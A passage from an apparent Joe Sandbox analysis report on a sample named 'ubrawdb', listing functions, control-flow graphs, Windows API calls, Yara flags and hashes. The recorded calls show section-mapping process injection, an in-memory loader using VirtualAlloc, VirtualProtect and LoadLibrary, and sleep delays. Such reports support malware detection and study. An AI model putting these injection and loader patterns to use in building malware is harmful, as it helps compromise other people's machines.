                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016E7
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401705
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401746
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401777
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401799
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271553940.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_400000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Section$View$Create$DuplicateObject
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1546783058-0
                                                                                                                                                                                                                                                                • Opcode ID: 49cdd7e1c93eceed419c410d8f1c7ea39d36b456fb8bebdc5244cfb81669af5b
                                                                                                                                                                                                                                                                • Instruction ID: 3f624420ec53c22d9d437f9961cb7ed2e3b3007a845c559fed4a58de007b3d88
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 49cdd7e1c93eceed419c410d8f1c7ea39d36b456fb8bebdc5244cfb81669af5b
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 105129B4900245BFEF209F91CC48FEBBFB8EF86B10F140159FA11BA2A5D6759945CB24
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040161A Relevance: 10.7, APIs: 7, Instructions: 166nativeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 410 40161a-401632 call 40125c 416 401634 410->416 417 401637-40163c 410->417 416->417 419 401642-401653 417->419 420 401959-401961 417->420 424 401957 419->424 425 401659-401682 419->425 420->417 423 401966-4019af call 40125c 420->423 424->423 425->424 433 401688-40169f NtDuplicateObject 425->433 433->424 435 4016a5-4016c9 NtCreateSection 433->435 437 401725-40174b NtCreateSection 435->437 438 4016cb-4016ec NtMapViewOfSection 435->438 437->424 439 401751-401755 437->439 438->437 441 4016ee-40170a NtMapViewOfSection 438->441 439->424 442 40175b-40177c NtMapViewOfSection 439->442 441->437 444 40170c-401722 441->444 442->424 445 401782-40179e NtMapViewOfSection 442->445 444->437 445->424 447 4017a4 call 4017a9 445->447
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016E7
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401705
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401746
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401777
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401799
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271553940.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_400000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Section$View$Create$DuplicateObject
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1546783058-0
                                                                                                                                                                                                                                                                • Opcode ID: 0d93f4365e87c5b399d537d4dae1489dcabe6451f020ac4fa5379885d57b3e5a
                                                                                                                                                                                                                                                                • Instruction ID: 888905ccdc062b2077a5f017d1ef169053418d2c42f3064abdaebd709c3a76db
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0d93f4365e87c5b399d537d4dae1489dcabe6451f020ac4fa5379885d57b3e5a
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: B15107B4900209BFEF209F91CC48FABBBB8EF85B10F104159FA11BA2A5D6759945CB24
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004017DF Relevance: 3.0, APIs: 2, Instructions: 30nativeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 485 4017df-4017e7 NtMapViewOfSection 487 401782-40179e NtMapViewOfSection 485->487 488 401957-4019af call 40125c 485->488 487->488 490 4017a4 call 4017a9 487->490
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                • NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016E7
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401705
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401777
                                                                                                                                                                                                                                                                • NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401799
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271553940.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_400000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Section$View$CreateDuplicateObject
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3617974760-0
                                                                                                                                                                                                                                                                • Opcode ID: 778a8056d619d0b7cace1ce49ed5d27e35b0d83fcb1ff79323e202117ad148a0
                                                                                                                                                                                                                                                                • Instruction ID: 8378ec888cbfd114d089a1c3a957c728448429fa8b00b4fa6dff980078d78902
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 778a8056d619d0b7cace1ce49ed5d27e35b0d83fcb1ff79323e202117ad148a0
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 83F03975510240BEEF245E92CC88FAB3FBDEFC6B10B14012EF951A51E5E2358C00DB20
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00416540 Relevance: 24.7, APIs: 3, Strings: 11, Instructions: 233librarymemoryloaderCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 0 416540-416df2 LoadLibraryW GetProcAddress VirtualProtect
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • LoadLibraryW.KERNEL32(02BD0098,0BB7EA7B,4BBE82DD,2FC43CC7,52860AB1,6AD71B2C,43FE4454,34026A25), ref: 00416DBB
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00425990), ref: 00416DC7
                                                                                                                                                                                                                                                                • VirtualProtect.KERNELBASE(02BCDF9C,02BD041C,00000040,?), ref: 00416DE6
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271576518.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_40b000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AddressLibraryLoadProcProtectVirtual
                                                                                                                                                                                                                                                                • String ID: )?u$:/X$F(+$O8##$R'._$U99x$X2R$dFfX$v;^:$o:?$6
                                                                                                                                                                                                                                                                • API String ID: 3509694964-975362989
                                                                                                                                                                                                                                                                • Opcode ID: 5e8c608fef1b02fce00704d1bbd519a4422d41c363e080cde4ffaa36ffef0d28
                                                                                                                                                                                                                                                                • Instruction ID: b37eaada4d46ce99a4b5b943d25e2fc503fef666af0764f97da6d79e46e4af49
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5e8c608fef1b02fce00704d1bbd519a4422d41c363e080cde4ffaa36ffef0d28
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: C102B5B450A384CBD2B09F469699BCEBBE0BB91744FA08E0CD6DD1A210DB754489CF96
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0470003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515memoryCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 1 470003c-4700047 2 4700049 1->2 3 470004c-4700263 call 4700a3f call 4700e0f call 4700d90 VirtualAlloc 1->3 2->3 18 4700265-4700289 call 4700a69 3->18 19 470028b-4700292 3->19 24 47002ce-47003c2 VirtualProtect call 4700cce call 4700ce7 18->24 21 47002a1-47002b0 19->21 23 47002b2-47002cc 21->23 21->24 23->21 30 47003d1-47003e0 24->30 31 47003e2-4700437 call 4700ce7 30->31 32 4700439-47004b8 VirtualFree 30->32 31->30 33 47005f4-47005fe 32->33 34 47004be-47004cd 32->34 37 4700604-470060d 33->37 38 470077f-4700789 33->38 36 47004d3-47004dd 34->36 36->33 41 47004e3-4700505 36->41 37->38 44 4700613-4700637 37->44 42 47007a6-47007b0 38->42 43 470078b-47007a3 38->43 52 4700517-4700520 41->52 53 4700507-4700515 41->53 45 47007b6-47007cb 42->45 46 470086e-47008be LoadLibraryA 42->46 43->42 47 470063e-4700648 44->47 49 47007d2-47007d5 45->49 51 47008c7-47008f9 46->51 47->38 50 470064e-470065a 47->50 54 4700824-4700833 49->54 55 47007d7-47007e0 49->55 50->38 56 4700660-470066a 50->56 57 4700902-470091d 51->57 58 47008fb-4700901 51->58 59 4700526-4700547 52->59 53->59 63 4700839-470083c 54->63 60 47007e2 55->60 61 47007e4-4700822 55->61 62 470067a-4700689 56->62 58->57 64 470054d-4700550 59->64 60->54 61->49 65 4700750-470077a 62->65 66 470068f-47006b2 62->66 63->46 67 470083e-4700847 63->67 69 47005e0-47005ef 64->69 70 4700556-470056b 64->70 65->47 71 47006b4-47006ed 66->71 72 47006ef-47006fc 66->72 73 4700849 67->73 74 470084b-470086c 67->74 69->36 77 470056d 70->77 78 470056f-470057a 70->78 71->72 75 470074b 72->75 76 47006fe-4700748 72->76 73->46 74->63 75->62 76->75 77->69 81 470059b-47005bb 78->81 82 470057c-4700599 78->82 85 47005bd-47005db 81->85 82->85 85->64
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0470024D
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2273933251.0000000004700000.00000040.00001000.00020000.00000000.sdmp, Offset: 04700000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_4700000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AllocVirtual
                                                                                                                                                                                                                                                                • String ID: cess$kernel32.dll
                                                                                                                                                                                                                                                                • API String ID: 4275171209-1230238691
                                                                                                                                                                                                                                                                • Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
                                                                                                                                                                                                                                                                • Instruction ID: 5ca693c6c36d5e502e380d66508b071a1a6e4beaa05cb57aa13920ca4a0ac3b8
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 37527A74A01269DFDB64CF58D984BACBBB1BF09314F1480E9E50DAB391DB30AA85DF14
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00417240 Relevance: 6.1, APIs: 4, Instructions: 74filetimeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 451 417240-41725a 452 417265-41726c 451->452 453 4172ae-4172b5 452->453 454 41726e-417282 452->454 455 4172c0-4172c7 453->455 456 417284-4172a6 WriteConsoleOutputCharacterA GetTimeZoneInformation 454->456 457 4172ac 454->457 458 41735b call 416f60 455->458 459 4172cd-4172d7 455->459 456->457 457->452 466 417360 458->466 461 417312-417319 459->461 462 4172d9-41730c ReadFile GetVolumeInformationA 459->462 464 417336-417340 461->464 465 41731b-417331 461->465 462->461 467 417342-41734c 464->467 468 417356 464->468 465->464 470 417360 call 416e00 466->470 471 417360 call 416540 466->471 467->468 469 4172b7-4172bd 468->469 469->455 470->466 471->466
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • WriteConsoleOutputCharacterA.KERNEL32(00000000,00000000,00000000,?,?), ref: 0041729E
                                                                                                                                                                                                                                                                • GetTimeZoneInformation.KERNEL32(00000000), ref: 004172A6
                                                                                                                                                                                                                                                                • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 004172E3
                                                                                                                                                                                                                                                                • GetVolumeInformationA.KERNEL32(00425A0C,?,00000000,?,?,?,?,00000000), ref: 0041730C
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271576518.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_40b000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Information$CharacterConsoleFileOutputReadTimeVolumeWriteZone
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1899384576-0
                                                                                                                                                                                                                                                                • Opcode ID: 5f2e4004dd5fcdb9c3615df97f0f04457b88d80e07761eb320f3fbbf5d71d132
                                                                                                                                                                                                                                                                • Instruction ID: ef4d97432ea2fe8a7f2abcc2df7d08abe3d2dcf359d447f37c96963e17b975b7
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5f2e4004dd5fcdb9c3615df97f0f04457b88d80e07761eb320f3fbbf5d71d132
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9831A271E48208DFDB20DF90DD05BEE77B4FB44305F50856AE61497280E7B8168ADF9A
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 02E7CAE7 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 472 2e7cae7-2e7cb00 473 2e7cb02-2e7cb04 472->473 474 2e7cb06 473->474 475 2e7cb0b-2e7cb17 CreateToolhelp32Snapshot 473->475 474->475 476 2e7cb27-2e7cb34 Module32First 475->476 477 2e7cb19-2e7cb1f 475->477 478 2e7cb36-2e7cb37 call 2e7c7a6 476->478 479 2e7cb3d-2e7cb45 476->479 477->476 482 2e7cb21-2e7cb25 477->482 483 2e7cb3c 478->483 482->473 482->476 483->479
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02E7CB0F
                                                                                                                                                                                                                                                                • Module32First.KERNEL32(00000000,00000224), ref: 02E7CB2F
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2273859448.0000000002E79000.00000040.00000020.00020000.00000000.sdmp, Offset: 02E79000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_2e79000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateFirstModule32SnapshotToolhelp32
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3833638111-0
                                                                                                                                                                                                                                                                • Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
                                                                                                                                                                                                                                                                • Instruction ID: 1ff843a9a084c6d13f1c765d464963839a4c508504d79058d866ffb1e3fa3a85
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4BF096315407156FD7303BF9E89DF6E76ECAF49628F20792AF642D10C0DB70E8458A65
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 04700E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 503 4700e0f-4700e24 SetErrorMode * 2 504 4700e26 503->504 505 4700e2b-4700e2c 503->505 504->505
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • SetErrorMode.KERNELBASE(00000400,?,?,04700223,?,?), ref: 04700E19
                                                                                                                                                                                                                                                                • SetErrorMode.KERNELBASE(00000000,?,?,04700223,?,?), ref: 04700E1E
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2273933251.0000000004700000.00000040.00001000.00020000.00000000.sdmp, Offset: 04700000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_4700000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: ErrorMode
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 2340568224-0
                                                                                                                                                                                                                                                                • Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
                                                                                                                                                                                                                                                                • Instruction ID: 25050854d5793db2c6af0e4054fe921e78f0da64a8333daf292e3e6ffff9ac41
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: CDD01231145128B7D7003AA4DC09BCD7B5CDF05B62F008011FB0DE9180C770954046E5
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00416E00 Relevance: 1.5, APIs: 1, Instructions: 9libraryCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 506 416e00-416e36 LoadLibraryA
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • LoadLibraryA.KERNELBASE(0042AA08,004171A0), ref: 00416E30
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271576518.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_40b000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: LibraryLoad
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1029625771-0
                                                                                                                                                                                                                                                                • Opcode ID: 3d08c2ae3a06cfd21e49178b17e66c74b4b38d2745f026da90a121f1e156d44c
                                                                                                                                                                                                                                                                • Instruction ID: b768ad7acdfe99bd2b25a1756404c66c4bff643dc40a8127fb68b818656ca87f
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3d08c2ae3a06cfd21e49178b17e66c74b4b38d2745f026da90a121f1e156d44c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: BDD092247552C0DBCA21CF50BB097043E61AF51704BD0906999512AA22D3B80166CB1F
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004019B2 Relevance: 1.3, APIs: 1, Instructions: 65sleepCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • Sleep.KERNELBASE(00001388), ref: 00401A04
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271553940.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_400000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateDuplicateObjectSectionSleep
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 4152845823-0
                                                                                                                                                                                                                                                                • Opcode ID: 04f6897abb308126f470fd05014cf238183fa8e61674ddeb0717af411a121877
                                                                                                                                                                                                                                                                • Instruction ID: 9535be6c36f98077632f4f02dfbdda9f19971c7bea6acc9325b6b8c563985b13
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 04f6897abb308126f470fd05014cf238183fa8e61674ddeb0717af411a121877
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: CD119EB530C204F7DB00AA959C92EBA32689B40754F304537F607B90F0E67D9A13EB6B
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004019CC Relevance: 1.3, APIs: 1, Instructions: 59sleepCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • Sleep.KERNELBASE(00001388), ref: 00401A04
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271553940.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_400000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateDuplicateObjectSectionSleep
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 4152845823-0
                                                                                                                                                                                                                                                                • Opcode ID: 33c28c6db8310be9d0036b491102ae5ea51f8e5c4e2b4487472b9c1eca0431ce
                                                                                                                                                                                                                                                                • Instruction ID: 9860b3adbb02253c11ca7fee9fca2776f08e165eea76d4ff876d2c90885662b8
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 33c28c6db8310be9d0036b491102ae5ea51f8e5c4e2b4487472b9c1eca0431ce
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: FD017C7630C204F7DB00AA819892EBA32649B40754F304577F607B90F0D63D9A13EB1B
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004019BE Relevance: 1.3, APIs: 1, Instructions: 58sleepCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • Sleep.KERNELBASE(00001388), ref: 00401A04
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000004.00000002.2271553940.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_4_2_400000_ubrawdb.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateDuplicateObjectSectionSleep
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 4152845823-0
                                                                                                                                                                                                                                                                • Opcode ID: a7c3ad1862dbfc6de84a841be9cc81f89f6a2c5f1f8df06033d8068c45b7fee5
                                                                                                                                                                                                                                                                • Instruction ID: 6ea748b5703c6c3cc47f97f8384fa15d7aaa85e5df960e900962d61b5b42e5e1
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: a7c3ad1862dbfc6de84a841be9cc81f89f6a2c5f1f8df06033d8068c45b7fee5
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 20018E7630C204F7DB00AA819C92EBA32645B44754F204577F607B90F0D67D9A13EB1B
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004019CF Relevance: 1.3, APIs: 1, Instructions: 54sleepCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • Sleep.KERNELBASE(00001388), ref: 00401A04
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401697
                                                                                                                                                                                                                                                                  • Part of subcall function 004015D5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004016C4
                                                                                                                                                                                                                                                                Memory Dump Source
